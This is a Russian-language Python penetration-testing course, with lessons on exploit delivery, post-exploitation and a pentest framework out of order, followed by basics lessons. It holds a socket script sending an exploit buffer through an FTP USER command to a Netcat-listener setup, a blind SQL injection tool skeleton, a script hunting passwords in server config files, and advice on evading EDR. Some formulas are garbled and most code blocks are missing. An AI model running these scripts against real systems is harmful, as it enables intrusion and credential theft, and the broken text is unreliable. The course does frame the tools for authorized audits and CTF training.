    def send_exploit(): print(f"[*] Подключение к {TARGET_IP}:{TARGET_PORT}...") try: # Создаем TCP-сокет s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Читаем приветственный баннер сервера banner = s.recv(1024) print(f"[+] Баннер получен: {banner.decode('utf-8').strip()}") # Формируем команду FTP с нашим эксплойтом # Обратите внимание: мы отправляем байты (b""), а не строки payload = b"USER " + EXPLOIT + b"\r\n" print(f"[*] Отправка зловредного буфера (Размер: {len(payload)} байт)...") s.send(payload) # Даем серверу время на обработку time.sleep(1) print("[+] Эксплойт отправлен! Проверьте ваш Netcat слушатель.") except Exception as e: print(f"[!] Ошибка соединения: {e}") finally: s.close()

    if __name__ == "__main__": send_exploit() python import requests import argparse import sys from urllib.parse import urlparse

    def check_url(url): """Проверяет корректность введенного URL""" parsed = urlparse(url) if not parsed.scheme or not parsed.netloc: print("[!] Ошибка: Неверный формат URL. Используйте http:// или https://") sys.exit(1) return url

    def exploit(target_url, max_length): """Основная логика эксплойта""" print(f"[*] Цель: {target_url}") print(f"[*] Максимальная длина пароля: {max_length}") # ... здесь располагается логика перебора из предыдущего примера ... print("[+] Атака завершена.")

    def main(): # Инициализируем парсер аргументов parser = argparse.ArgumentParser( description="Утилита для эксплуатации Blind SQL Injection v1.0", epilog="Пример использования: python3 exploit.py -u http://10.10.10.50/page.php?id= -m 30" ) # Добавляем обязательный аргумент -u / --url parser.add_argument("-u", "--url", required=True, help="Целевой URL с уязвимым параметром") # Добавляем необязательный аргумент -m / --max-length со значением по умолчанию parser.add_argument("-m", "--max-length", type=int, default=20, help="Максимальная длина извлекаемой строки (по умолчанию: 20)") # Парсим введенные пользователем данные args = parser.parse_args() # Валидация данных valid_url = check_url(args.url) # Запуск атаки try: exploit(valid_url, args.max_length) except KeyboardInterrupt: print("\n[!] Атака прервана пользователем (Ctrl+C).") sys.exit(0) except Exception as e: print(f"\n[!] Произошла непредвиденная ошибка: {e}") sys.exit(1)

    if __name__ == "__main__": main() ``

    Преимущества такого подхода

    Внедрение argparse и блоков try...except решает сразу несколько проблем:

  • Документированность: Если пользователь запустит скрипт с флагом -h или --help, Python автоматически сгенерирует красивую справку по использованию утилиты.
  • Валидация типов: Указав type=int для аргумента длины, мы защищаем скрипт от падения, если пользователь случайно введет букву вместо цифры.
  • Отказоустойчивость: Блок except KeyboardInterrupt позволяет корректно завершить работу скрипта при нажатии Ctrl+C, не вываливая на экран пользователя страшный стек ошибок (Traceback).
  • Интеграция с инфраструктурой атакующего

    Написание эксплойта — это лишь часть задачи. Как мы обсуждали в предыдущих статьях, эксплойт должен работать в связке с пейлоадом и слушателем (Listener).

    Мощь Python заключается в том, что вы можете объединить всё это в одном скрипте. Используя модуль subprocess, ваш эксплойт может сначала сгенерировать уникальный пейлоад через Msfvenom, затем в фоновом потоке (threading`) запустить Netcat для ожидания подключения, и только после этого отправить вредоносный сетевой запрос к цели.

    Такой подход превращает разрозненные скрипты в единый, монолитный фреймворк для эксплуатации, который работает по принципу «одной кнопки». Вы запускаете скрипт, идете пить кофе, а по возвращении видите открытую командную строку скомпрометированного сервера.

    В следующей статье мы перейдем к этапу пост-эксплуатации: узнаем, как с помощью Python автоматизировать сбор паролей, анализ конфигурационных файлов и закрепление в системе после успешного взлома.

    17. Автоматизация задач пост-эксплуатации

    Автоматизация задач пост-эксплуатации

    Представьте ситуацию: вы успешно применили эксплойт из нашей предыдущей статьи. На экране вашего терминала появилось заветное приглашение командной строки скомпрометированного сервера. Соединение установлено, реверс-шелл работает стабильно. Многие начинающие специалисты в этот момент испытывают эйфорию и считают работу выполненной. Но в реальности получение первичного доступа — это лишь открытие входной двери.

    Настоящая работа пентестера начинается именно сейчас. Этот этап называется пост-эксплуатацией (Post-Exploitation).

    > Пост-эксплуатация — это комплекс действий, которые атакующий выполняет на скомпрометированной системе для сбора информации, повышения своих прав, поиска ценных данных и обеспечения постоянного доступа.

    Если провести аналогию с ограблением банка, то взлом двери (эксплуатация) — это только начало. Оказавшись внутри, грабителю нужно изучить план здания (сбор информации), найти сейф (поиск данных), украсть ключи у менеджера, чтобы этот сейф открыть (повышение привилегий), и подпереть заднюю дверь кирпичом, чтобы вернуться завтра (закрепление в системе).

    Выполнять все эти действия вручную, вводя десятки команд в нестабильный терминал, — это долго, шумно и неэффективно. В этой статье мы разберем, как с помощью Python превратить рутинные задачи пост-эксплуатации в автоматизированный, быстрый и незаметный процесс.

    !Этапы пост-эксплуатации

    Системное перечисление: кто мы и где мы?

    Первое правило пост-эксплуатации — оглядеться по сторонам. Этот процесс называется перечислением (Enumeration). Нам нужно понять, какая операционная система установлена на сервере, под каким пользователем мы работаем, какие сетевые интерфейсы доступны и какие процессы запущены.

    В Linux для этого используются стандартные команды: whoami, uname -a, ip a, ps aux. Но если нам нужно собрать эту информацию с десятков взломанных машин, ручной ввод становится пыткой.

    Здесь на помощь приходит модуль subprocess, с которым мы уже знакомились при создании шеллов. Однако теперь наша задача — не просто выполнить команду, а аккуратно собрать ее вывод, структурировать и сохранить для дальнейшего анализа.

    Скрипт автоматического сбора информации

    Напишем Python-скрипт, который выполнит базовое перечисление системы и сохранит результаты в текстовый отчет.

    Разбор концепции

    В этом скрипте мы используем функцию subprocess.run(). Обратите внимание на аргументы capture_output=True и text=True. В отличие от устаревшего os.system(), который просто выводит результат на экран (что бесполезно для автоматизации), subprocess.run() позволяет нам сохранить ответ операционной системы в переменную result.stdout.

    Также мы используем встроенный модуль platform. Это отличный пример того, как Python упрощает жизнь: вместо того чтобы писать сложные проверки через системные команды, мы можем узнать тип ОС (Windows или Linux) одной строчкой кода platform.system(). Это делает наш инструмент кроссплатформенным.

    Поиск чувствительных данных: охота за паролями

    Когда мы поняли, где находимся, наступает время поиска ценностей. В контексте ИБ ценности — это конфигурационные файлы, резервные копии баз данных, SSH-ключи и файлы, содержащие пароли в открытом виде.

    Искать слово "password" в тысячах файлов вручную — задача невыполнимая. Нам нужен скрипт, который просканирует файловую систему, заглянет внутрь текстовых файлов и найдет нужные нам строки.

    Для этой задачи мы объединим два мощных инструмента Python: модуль os для навигации по папкам и модуль re для работы с регулярными выражениями (Regular Expressions).

    > Регулярное выражение — это специальный язык шаблонов, который позволяет находить в тексте подстроки, соответствующие определенным правилам (например, найти все email-адреса или все строки, начинающиеся со слова "pass").

    Скрипт-ищейка: автоматический поиск учетных данных

    ``python import os import re

    Папка, с которой начнется поиск (например, директория веб-сервера)

    START_DIR = "/var/www/html"

    Расширения файлов, которые нас интересуют

    TARGET_EXTENSIONS = ['.txt', '.conf', '.config', '.php', '.bak', '.env']

    Регулярное выражение для поиска паролей

    Ищет слова password, passwd, pwd (без учета регистра), за которыми следует знак '='

    PATTERN = re.compile(r'(?i)(password|passwd|pwd)\s=\s([\'"\w\d!@#%^&*]+)'
    . Давайте расшифруем эту магию символов:
  • (?i) — делает поиск нечувствительным к регистру (найдет и "Password", и "PASSWORD").
  • (password|passwd|pwd) — ищет одно из этих трех слов.
  • \s=\s — ищет знак равенства, вокруг которого может быть любое количество пробелов.
  • ([\'"\w\d!@#T_{saved} = N \times t_{manual} - t_{script}T_{saved}Nt_{manual}t_{script}T_{saved} = 50 \times 900 - 1800 = 45000 - 1800 = 43200$ секунд.
  • Мы сэкономили 12 часов монотонной работы! Скрипт выполнит все проверки за доли секунды на каждой машине, не допустит опечаток и ничего не забудет.

    Операционная безопасность (OpSec) и этика

    При разработке утилит для пост-эксплуатации критически важно помнить об операционной безопасности (Operational Security или OpSec).

    Современные системы защиты (EDR, антивирусы) внимательно следят за поведением программ. Если ваш Python-скрипт начнет агрессивно читать тысячи системных файлов за одну секунду, это вызовет всплеск нагрузки на жесткий диск и процессор. Системный администратор получит алерт (уведомление об угрозе), и ваш доступ будет заблокирован.

    Профессиональные скрипты всегда включают задержки (time.sleep()`), обработку исключений (чтобы скрипт не упал с громкой ошибкой) и стараются работать исключительно в оперативной памяти, не оставляя следов на жестком диске.

    Кроме того, помните о правовой стороне. Как отмечают эксперты в области кибербезопасности, запуск подобных скриптов без письменного разрешения владельца инфраструктуры является уголовным преступлением (например, по ст. 272 УК РФ "Неправомерный доступ к компьютерной информации"). Все инструменты, которые мы разрабатываем в рамках этого курса, предназначены исключительно для легального аудита безопасности (этичного хакинга) и тренировок на специально подготовленных CTF-платформах.

    В следующей статье мы перейдем к одной из самых сложных и интересных тем в информационной безопасности — основам криптографии. Мы узнаем, как защитить наши скрипты и сетевой трафик от перехвата, используя встроенные криптографические библиотеки Python.

    18. Разработка комплексного инструмента для автоматизации пентеста

    Разработка комплексного инструмента для автоматизации пентеста

    На протяжении предыдущих этапов мы создали множество полезных утилит: быстрый сканер портов, фаззер скрытых директорий, скрипты для брутфорса и генерации пейлоадов. Каждая из этих программ отлично справляется со своей узкой задачей. Однако в реальном тестировании на проникновение (пентесте) возникает новая проблема — фрагментация.

    Представьте, что вам нужно проверить корпоративную сеть из 50 серверов. Для каждого IP-адреса вам придется вручную запустить сканер портов. Дождаться результатов. Если найден 80-й порт — вручную запустить фаззер директорий. Если найден 22-й порт — запустить брутфорсер SSH. Между каждым запуском вы теряете время на анализ вывода, копирование данных из одной консоли в другую и сохранение результатов в текстовый файл.

    Профессиональный подход заключается в объединении разрозненных скриптов в единый фреймворк (Framework) — комплексный инструмент, который берет на себя всю маршрутизацию данных и позволяет запустить полный цикл атаки одной командой.

    Архитектура комплексного инструмента

    Создание сложного инструмента начинается не с написания кода, а с проектирования архитектуры. Если мы просто скопируем весь наш предыдущий код в один гигантский файл, мы получим нечитаемый и неподдерживаемый хаос (так называемый «спагетти-код»).

    Правильный подход — модульная архитектура. Наш инструмент будет состоять из независимых блоков, которыми управляет центральное ядро.

    !Архитектура комплексного инструмента для автоматизации пентеста

    Основные компоненты фреймворка:

  • Ядро (Core) — главный скрипт, который принимает команды от пользователя, проверяет их корректность и решает, какие модули запускать.
  • Модули разведки (Recon) — скрипты для сканирования портов и определения версий служб.
  • Модули эксплуатации (Exploit) — фаззеры, брутфорсеры и скрипты доставки пейлоадов.
  • Менеджер отчетов (Reporter) — компонент, который собирает результаты работы всех модулей и формирует красивый итоговый файл (например, в формате JSON или TXT).
  • Создание профессионального интерфейса: модуль argparse

    Первый признак качественной хакерской утилиты — удобный интерфейс командной строки (CLI). Пользователь должен иметь возможность гибко настраивать инструмент через аргументы (флаги), такие как -t для указания цели или -p для портов.

    В Python для этого используется встроенная библиотека argparse. Она автоматически обрабатывает ввод пользователя, проверяет типы данных и даже генерирует меню помощи (флаг -h).

    Напишем базовый каркас нашего ядра (core.py):

    Если мы запустим этот скрипт без аргументов, argparse не позволит программе упасть с непонятной ошибкой, а вежливо сообщит: error: the following arguments are required: -t/--target.

    Интеграция модулей: конвейер данных

    Следующий шаг — заставить модули общаться друг с другом. Это называется конвейером данных (Pipeline). Вывод одного модуля должен автоматически становиться входом для другого.

    Допустим, у нас есть отдельный файл scanner.py с функцией scan_ports(target, ports), которая возвращает список открытых портов. И есть файл fuzzer.py с функцией fuzz_directories(target), которая ищет скрытые папки.

    Мы импортируем эти функции в наше ядро и выстраиваем логику:

    В этом примере ядро принимает решение на лету: оно не будет запускать веб-фаззер, если сканер портов не нашел открытый HTTP-порт. Это экономит огромное количество времени и снижает сетевой шум.

    Математика эффективности автоматизации

    Почему создание такого конвейера критически важно для профессионала? Давайте посчитаем.

    Время, затрачиваемое на ручной пентест одной цели, складывается из времени работы утилит и времени простоя (когда человек анализирует вывод и вводит следующую команду):

    Где — это время реакции человека. Обычно оно составляет от 1 до 5 минут на каждый этап. Если у нас 50 серверов, и на каждом сервере 3 этапа проверок, общее время простоя составит:

    Комплексный скрипт сводит к нулю. Как только сканер завершает работу, фаззер запускается в ту же миллисекунду. Вы экономите 5 часов чистого времени только на том, что исключаете человеческую медлительность из цепочки передачи данных.

    Структурирование по MITRE ATT&CK

    Профессиональные инструменты часто структурируют свою логику в соответствии с международными стандартами информационной безопасности, такими как база знаний MITRE ATT&CK.

    > MITRE ATT&CK — это глобальная база данных тактик и техник, которые используют реальные злоумышленники. Она помогает стандартизировать язык описания кибератак.

    Разрабатывая свой фреймворк, вы можете сопоставить модули с конкретными техниками:

  • Сканирование портов — это тактика Reconnaissance, техника Active Scanning (T1595).
  • Перебор паролей — это тактика Credential Access, техника Brute Force (T1110).
  • Такой подход не только делает ваш код логичным, но и позволяет генерировать отчеты, которые будут понятны специалистам защиты (Blue Team) и руководству компаний-заказчиков.

    Унифицированное логирование и отчетность

    Вывод информации на экран (через print) — это хорошо для наблюдения за процессом, но плохо для сохранения результатов. Если терминал закроется, данные будут потеряны.

    Комплексный инструмент должен иметь модуль отчетности. В Python для сохранения структурированных данных идеально подходит формат JSON.

    Формат JSON выбран не случайно. В отличие от простого текста, JSON легко читается другими программами. В будущем вы сможете написать еще один скрипт, который возьмет эти JSON-отчеты и автоматически сгенерирует красивые PDF-документы с графиками для заказчика.

    Операционная безопасность (OpSec) и отказоустойчивость

    Когда ваш скрипт работает автономно, вы не можете контролировать каждый его шаг. Поэтому код должен быть максимально надежным.

  • Глобальная обработка исключений: Оберните вызов конвейера в блок try...except KeyboardInterrupt. Если вы решите прервать атаку нажатием Ctrl+C, скрипт должен не просто упасть, а корректно сохранить уже собранные данные и закрыть сетевые соединения.
  • Таймауты: Каждое сетевое действие (запрос к сайту, подключение к порту) должно иметь жесткий таймаут. Иначе скрипт может бесконечно зависнуть на одном «мертвом» IP-адресе, остановив весь конвейер.
  • Соблюдение законов: Автоматизация позволяет атаковать тысячи целей за минуты. Это накладывает огромную ответственность. Запуск подобных скриптов без явного письменного разрешения владельца инфраструктуры подпадает под действие уголовного кодекса (например, ст. 272 УК РФ «Неправомерный доступ к компьютерной информации»). Встраивайте в свои инструменты механизмы защиты — например, проверку, принадлежит ли целевой IP-адрес к разрешенной подсети (Scope).
  • Создание собственного фреймворка — это переходный этап от начинающего специалиста к инженеру по безопасности. Вы перестаете зависеть от чужих инструментов, которые могут не работать в специфичных условиях, и получаете полный контроль над процессом тестирования.

    2. Базовые конструкции языка и типы данных

    Базовые конструкции языка и типы данных

    Любая компьютерная программа, будь то простейший калькулятор или сложный сканер уязвимостей, занимается одним и тем же: она получает данные, как-то их обрабатывает и выдает результат. В арсенале пентестера данными могут быть IP-адреса целей, списки украденных паролей, перехваченные сетевые пакеты или вредоносные команды (пейлоады).

    Чтобы писать эффективные хакерские утилиты, вы должны понимать, как Python хранит эту информацию в памяти компьютера и как позволяет ей управлять.

    Переменные: ярлыки для ваших данных

    Представьте, что вы проводите разведку и нашли уязвимый сервер с адресом 192.168.1.105. Вы можете использовать этот адрес напрямую в каждой строке вашего кода, но что если завтра вам придется атаковать другой сервер? Вам придется переписывать весь код.

    Здесь на помощь приходят переменные. Переменная — это именованная ссылка на участок памяти, где хранятся данные.

    В Python создание переменной происходит максимально просто — с помощью оператора присваивания =:

    Теперь каждый раз, когда Python видит слово target_ip, он подставляет вместо него строку "192.168.1.105".

    > Главный принцип именования переменных — осмысленность. По названию переменной должно быть понятно, какого рода данные в ней хранятся. Названия target_ip, password_list или timeout_seconds гораздо лучше, чем a, x или data1. > > proglib.io

    В Python используется стиль написания snake_case (змеиный регистр): слова пишутся с маленькой буквы и разделяются нижним подчеркиванием. Переменные не могут начинаться с цифры и не должны совпадать с зарезервированными словами языка (например, if, for, import).

    Базовые типы данных: из чего состоит код

    Python — язык с динамической типизацией. Это значит, что вам не нужно заранее указывать, что именно будет храниться в переменной (число или текст). Интерпретатор сам поймет это в момент выполнения программы (в runtime).

    Давайте разберем четыре фундаментальных типа данных, которые вы будете использовать в 99% своих скриптов.

    1. Строки (String / str)

    Строка — это любая последовательность символов, заключенная в одинарные (') или двойные (") кавычки. Для компьютера строка — это просто текст, он не пытается выполнять его как код или считать как математическое выражение.

    В пентесте строками являются IP-адреса, URL-ссылки, имена пользователей и сами пейлоады.

    Строки в Python обладают мощными встроенными инструментами (методами). Например, при парсинге веб-страниц вам часто нужно будет очищать текст от лишних пробелов или разбивать его на части:

    Один из самых полезных инструментов для хакера — f-строки (форматированные строки). Они позволяют динамически вставлять значения переменных прямо внутрь текста. Это незаменимо при генерации ссылок для атаки:

    2. Целые числа (Integer / int) и Числа с плавающей точкой (Float / float)

    Целые числа (int) используются для обозначения портов, количества попыток перебора пароля или размера пакета в байтах. Они пишутся без кавычек.

    Числа с плавающей точкой (float) — это десятичные дроби. В программировании дробная часть всегда отделяется точкой, а не запятой. Они часто используются для установки тайм-аутов (времени ожидания ответа от сервера).

    С числами можно выполнять все стандартные математические операции: сложение +, вычитание -, умножение *, деление /.

    3. Логический тип (Boolean / bool)

    Логический тип может принимать только два значения: True (Истина) или False (Ложь). Обратите внимание, что они пишутся с большой буквы и без кавычек.

    Булевы значения — это фундамент для принятия решений в коде. Они работают как флаги-переключатели.

    Часто булевы значения получаются в результате операций сравнения:

  • == (равно ли?)
  • != (не равно ли?)
  • > (больше)
  • < (меньше)
  • Важное отличие: Один знак = означает «положить значение в переменную» (присваивание). Два знака == означают «сравнить два значения» (вопрос).

    Преобразование типов (Casting)

    Одна из самых частых ошибок новичков — попытка сложить строку и число.

    Представьте, что вы написали скрипт, который запрашивает у пользователя номер порта:

    Функция input() всегда возвращает данные в виде строки (str), даже если вы ввели цифры. Для Python вы пытаетесь прибавить математическую единицу к тексту "80". Это как пытаться сложить слово «яблоко» и цифру 1.

    Чтобы это исправить, нужно явно преобразовать строку в число с помощью функции int():

    Точно так же можно превратить число в строку с помощью str(), если вам нужно склеить его с другим текстом.

    Структуры данных: организация хакерского арсенала

    Одиночные переменные полезны, но в реальном пентесте мы работаем с массивами информации: тысячами паролей, сотнями IP-адресов. Для хранения коллекций данных в Python есть специальные структуры.

    !Соответствие типов данных Python и инструментов хакера

    1. Списки (List)

    Список — это упорядоченная коллекция элементов, заключенная в квадратные скобки []. Элементы разделяются запятыми. В списке могут храниться данные любых типов, и даже другие списки.

    В пентесте списки идеально подходят для создания словарей (wordlists) при атаках методом перебора (Brute Force).

    Каждый элемент в списке имеет свой порядковый номер — индекс. В программировании счет всегда начинается с нуля. Чтобы получить первый пароль, нужно обратиться к нулевому индексу:

    Списки изменяемы (mutable). Вы можете добавлять в них новые элементы прямо во время работы программы с помощью метода .append():

    2. Кортежи (Tuple)

    Кортеж очень похож на список, но создается с помощью круглых скобок () и является неизменяемым (immutable). После создания кортежа вы не можете добавить в него элементы, удалить их или изменить.

    Зачем нужен кортеж, если есть удобный список? Кортежи работают быстрее и защищают данные от случайного изменения в коде. В сетевом программировании на Python кортежи используются для указания связки «IP-адрес + Порт» при подключении к серверу.

    3. Словари (Dictionary / dict)

    Если списки хранят данные по порядку (0, 1, 2...), то словари хранят данные в виде пар «Ключ: Значение». Они создаются с помощью фигурных скобок {}.

    Словарь — это, пожалуй, самая мощная структура данных для пентестера. С их помощью формируются HTTP-заголовки для веб-запросов, хранятся связки логинов и паролей, обрабатываются ответы от API (в формате JSON).

    Чтобы получить значение из словаря, мы обращаемся к нему не по номеру, а по имени ключа:

    Словарь также изменяем. Мы можем легко добавить новый заголовок или изменить существующий:

    Управление потоком: логика принятия решений

    Скрипт, который просто выполняет команды сверху вниз, не очень умен. Настоящая автоматизация начинается тогда, когда программа умеет принимать решения в зависимости от ситуации и повторять рутинные действия.

    Ветвление: if, elif, else

    Конструкция if (если) позволяет выполнять блок кода только в том случае, если определенное условие истинно (True).

    В Python блоки кода выделяются отступами (обычно это 4 пробела). Это критически важное правило синтаксиса. Если вы забудете поставить отступ, программа выдаст ошибку.

    Логика проста: интерпретатор проверяет первое условие (if). Если оно ложно, он переходит ко второму (elif — сокращение от else if). Если ни одно из условий не подошло, выполняется блок else (иначе).

    Циклы: автоматизация рутины

    Циклы заставляют компьютер повторять один и тот же блок кода множество раз. В Python есть два основных типа циклов: for и while.

    Цикл for используется, когда мы заранее знаем, сколько раз нужно выполнить действие, или когда нам нужно перебрать все элементы в списке (или другой коллекции).

    Представьте, что у вас есть список IP-адресов, и вы хотите отправить пинг на каждый из них:

    При первом проходе цикла переменная ip получит значение "10.0.0.1", при втором — "10.0.0.2", и так далее, пока список не закончится.

    Цикл while (пока) выполняется до тех пор, пока истинно заданное условие. Этот цикл часто используется для создания программ, которые должны работать непрерывно, например, слушателей для обратных подключений (Reverse Shell).

    Осторожно: Если условие в цикле while никогда не станет ложным (например, while True:), цикл будет работать бесконечно, пока вы принудительно не остановите скрипт.

    Практическое применение: математика Brute Force

    Давайте применим наши знания на практике и напишем логику для оценки времени атаки методом полного перебора (Brute Force).

    Допустим, мы пытаемся подобрать пароль. Время, необходимое для перебора всех возможных комбинаций, можно вычислить по формуле:

    Где:

  • — общее время перебора в секундах.
  • — размер набора символов (например, 26 строчных английских букв + 10 цифр = 36).
  • — длина пароля (например, 6 символов).
  • — время, затрачиваемое на одну попытку проверки пароля (зависит от скорости сети и сервера, например, 0.01 секунды).
  • Напишем скрипт, который использует переменные, математические операции и форматированные строки для расчета этой формулы:

    Если вы запустите этот код, вы увидите, что перебор 6-значного пароля займет около 6 часов. Но если вы измените password_length на 8, время атаки вырастет до 7800 часов (почти год!).

    Именно так пентестеры доказывают клиентам необходимость использования длинных паролей, подкрепляя свои слова точными математическими расчетами, автоматизированными с помощью Python.

    Понимание базовых типов данных, списков, словарей и циклов — это фундамент. Вы научились создавать «коробочки» для данных и управлять их потоком. В следующей статье мы перейдем к работе с сетью и напишем наш первый скрипт для взаимодействия с реальными серверами в интернете.

    3. Функции, модули и обработка исключений

    Функции, модули и обработка исключений

    Когда вы пишете свой первый скрипт, он обычно представляет собой простой набор команд, идущих сверху вниз. Для коротких задач, вроде сложения двух чисел или вывода строки на экран, этого достаточно. Но по мере погружения в автоматизацию тестирования на проникновение ваши задачи будут усложняться.

    Представьте, что вам нужно написать утилиту, которая сканирует 1000 IP-адресов, стучится на 5 разных портов каждого адреса, отправляет специфический сетевой пакет и анализирует ответ. Если писать весь этот код сплошным текстом, он превратится в огромную, нечитаемую «простыню». Малейшая ошибка в сети (например, один из серверов не ответил) приведет к аварийному завершению всей программы, и вам придется начинать сканирование заново.

    Чтобы создавать профессиональные, отказоустойчивые хакерские инструменты, необходимо освоить три фундаментальные концепции: функции (для организации кода), модули (для использования готовых решений) и обработку исключений (для защиты от сбоев).

    Функции: фабрики по обработке данных

    Функция — это изолированный блок кода, который имеет свое имя и выполняет одну конкретную задачу. Вы можете вызывать этот блок кода сколько угодно раз из любой части вашей программы.

    Аналогия из реальной жизни: функция работает как кофемашина. У нее есть приемник для воды и зерен (аргументы или входные данные), внутренний механизм варки (блок кода) и краник, из которого льется готовый кофе (результат или возвращаемое значение). Вам не нужно каждый раз собирать кофемашину с нуля, чтобы выпить кофе — достаточно нажать кнопку (вызвать функцию).

    !Схема работы функции в Python

    Создание и вызов функции

    В Python функция создается с помощью ключевого слова def (от английского define — определить). Давайте напишем простую функцию, которая принимает IP-адрес и порт, а затем красиво форматирует их в URL-адрес для атаки.

    Разберем синтаксис по частям:

  • def build_target_url: мы объявляем функцию и даем ей осмысленное имя в стиле snake_case.
  • (ip_address, port): это параметры функции. Переменные, которые функция ожидает получить извне для своей работы.
  • Двоеточие : и отступ (4 пробела) указывают, где начинается тело функции.
  • return url: ключевое слово return (вернуть) завершает работу функции и отдает результат обратно в ту часть программы, которая эту функцию вызвала.
  • Теперь, когда «кофемашина» собрана, мы можем ее использовать:

    > Важное правило: функция должна делать только одну вещь, но делать ее хорошо. Если ваша функция одновременно сканирует порты, подбирает пароли и записывает результат в файл — ее нужно разбить на три разные функции. > > pyneng.readthedocs.io

    Разница между print и return

    Одна из самых частых ошибок новичков — путаница между выводом на экран (print) и возвратом значения (return).

    print просто показывает текст на мониторе. Программа «забывает» эти данные сразу после вывода, вы не можете сохранить их в переменную или использовать для дальнейших вычислений.

    return передает данные обратно в код. В реальных хакерских утилитах функции почти всегда используют return. Например, функция сканирования порта должна вернуть статус порта (открыт/закрыт), чтобы другая часть скрипта могла принять решение: запускать ли эксплойт или переходить к следующему порту.

    Модули: арсенал готового оружия

    Вам не нужно писать весь код с нуля. Python обладает огромной экосистемой модулей (или библиотек). Модуль — это отдельный файл с кодом Python, в котором уже написаны полезные функции, созданные другими программистами.

    Подключение модуля осуществляется с помощью ключевого слова import.

    Модуль sys: создание консольных утилит

    Настоящие хакерские инструменты (такие как Nmap, Metasploit или SQLmap) запускаются из командной строки (терминала) с передачей параметров, например: python scanner.py 192.168.1.1.

    Чтобы ваш скрипт мог читать то, что пользователь написал в терминале после названия файла, используется встроенный модуль sys (system).

    Если вы сохраните этот код в файл attack.py и запустите в терминале команду python attack.py 10.10.10.5, модуль sys автоматически создаст список sys.argv, где нулевым элементом будет имя скрипта (attack.py), а первым элементом — переданный IP-адрес (10.10.10.5).

    Модуль socket: основа сетевого взаимодействия

    Вся сетевая активность в пентесте (сканирование портов, создание реверс-шеллов, перехват трафика) строится на сокетах. Модуль socket позволяет вашему скрипту подключаться к другим компьютерам по сети.

    Теперь у нас есть готовая функция check_port, которую мы можем вызывать в цикле для проверки сотен портов. Но здесь кроется серьезная проблема. Что если во время сканирования у нас пропадет интернет? Или пользователь нажмет Ctrl+C, чтобы прервать скрипт? Программа выдаст страшную красную ошибку и аварийно завершится.

    Обработка исключений: защита от сбоев

    В программировании есть два типа ошибок.

    Первый — синтаксические ошибки (Syntax Error). Вы забыли поставить двоеточие, не закрыли скобку или сделали неправильный отступ. Интерпретатор Python даже не запустит такой код. Это как написать письмо с грамматическими ошибками — почтальон откажется его принимать.

    Второй тип — исключения (Runtime Errors / Exceptions). Код написан грамматически верно, программа запустилась, но в процессе работы столкнулась с невыполнимой задачей.

    Например, вы просите пользователя ввести номер порта для сканирования:

    Если пользователь введет 80, функция int() успешно превратит строку в число. Но если пользователь случайно введет слово http, программа попытается выполнить математическую операцию над буквами. Возникнет исключение ValueError, и скрипт мгновенно «упадет» (крашнется).

    > Обработка исключений — это процесс написания кода для перехвата и обработки ошибок, которые могут возникать при выполнении программы. Это позволяет разработчикам создавать надёжные программы, которые продолжают работать даже при возникновении неожиданных событий. > > habr.com

    Конструкция try...except

    Чтобы предотвратить падение скрипта, мы помещаем опасный участок кода в специальный защитный блок try (попробовать), а реакцию на ошибку прописываем в блоке except (исключение).

    Теперь, если пользователь введет текст вместо цифр, программа не вылетит с красным текстом ошибки. Она аккуратно перейдет в блок except, выведет понятное сообщение и продолжит свою работу.

    Специфичные исключения в сетевых скриптах

    При написании сетевых сканеров или эксплойтов вы будете регулярно сталкиваться со следующими исключениями:

  • socket.timeout: сервер не ответил за отведенное время.
  • ConnectionRefusedError: сервер активно отверг подключение (порт закрыт).
  • KeyboardInterrupt: пользователь нажал Ctrl+C в терминале, чтобы остановить скрипт.
  • Хорошим тоном в программировании считается перехват конкретных ошибок, а не всех подряд. Если вы напишете просто except:, вы скроете от себя абсолютно все ошибки, включая опечатки в собственном коде, что сделает отладку невозможной.

    Блок finally

    Иногда вам нужно выполнить какое-то действие независимо от того, произошла ошибка или нет. В сетевом программировании это чаще всего закрытие открытого соединения (сокета) или файла, чтобы не утекала оперативная память.

    Для этого используется блок finally. Код внутри него выполнится в 100% случаев.

    Математика сканирования: расчет времени

    Давайте применим математику, чтобы понять, почему таймауты и обработка исключений так важны при сканировании сети.

    Допустим, мы сканируем сеть на наличие открытых портов. Общее время сканирования можно рассчитать по формуле:

    Где:

  • — общее время сканирования в секундах.
  • — количество проверяемых портов (например, все 65535 портов).
  • — время ожидания ответа от одного порта (таймаут).
  • Если мы не установим таймаут с помощью sock.settimeout(), операционная система по умолчанию будет ждать ответа около 20 секунд на каждый закрытый порт.

    Подставим значения: секунд. Это более 15 дней на сканирование одного компьютера!

    Установив таймаут в 0.5 секунды и грамотно обрабатывая исключение socket.timeout, мы сокращаем время до: секунд (около 9 часов). В реальных сканерах, таких как Nmap, дополнительно используется многопоточность, которую мы изучим в следующих статьях, чтобы сократить это время до нескольких минут.

    Собираем все вместе: отказоустойчивый сканер

    Теперь давайте объединим функции, модули и обработку исключений в один полноценный, профессионально написанный скрипт. Это базовый сканер портов, который принимает IP-адрес из командной строки, сканирует популярные порты и не падает при ошибках.

    Этот скрипт демонстрирует архитектуру реальных хакерских утилит. Логика сети изолирована в отдельной функции scan_port. Управление аргументами командной строки и циклом сканирования находится в функции main. А блоки try...except гарантируют, что ни отсутствие интернета, ни нажатие Ctrl+C не приведут к некрасивому падению программы с выдачей системных ошибок.

    Освоив создание функций и обработку исключений, вы сделали огромный шаг от написания одноразовых скриптов к разработке надежных инструментов автоматизации пентеста.

    4. Взаимодействие с операционной системой и файлами

    Взаимодействие с операционной системой и файлами

    Представьте ситуацию: вы успешно проникли на сервер компании в рамках тестирования на проникновение. Перед вами открылась командная строка (терминал). Что делать дальше? Обычно пентестер начинает этап разведки внутри системы (Post-Exploitation): ищет конфигурационные файлы с паролями, проверяет права доступа, изучает структуру директорий и запускает системные команды для закрепления в системе.

    Делать это вручную — долго и утомительно, особенно если на сервере тысячи папок. Настоящая магия начинается, когда вы пишете Python-скрипт, который за доли секунды обходит всю файловую систему, находит файлы с расширением .conf или .bak, извлекает из них пароли и сохраняет результаты в удобный текстовый отчет.

    Умение взаимодействовать с операционной системой (ОС) и файлами — это мост между вашим кодом и реальным компьютером. Без этого навыка ваши скрипты остаются «вещью в себе»: они не могут прочитать список целей для атаки из файла и не могут сохранить найденные уязвимости.

    Чтение и запись файлов: работа с добычей

    В информационной безопасности данные — это главное. Вы будете постоянно работать со словарями паролей (например, знаменитым rockyou.txt), списками IP-адресов, логами веб-серверов и выводами сканеров.

    В Python для работы с файлами используется встроенная функция open(). Она принимает два основных аргумента: путь к файлу и режим работы.

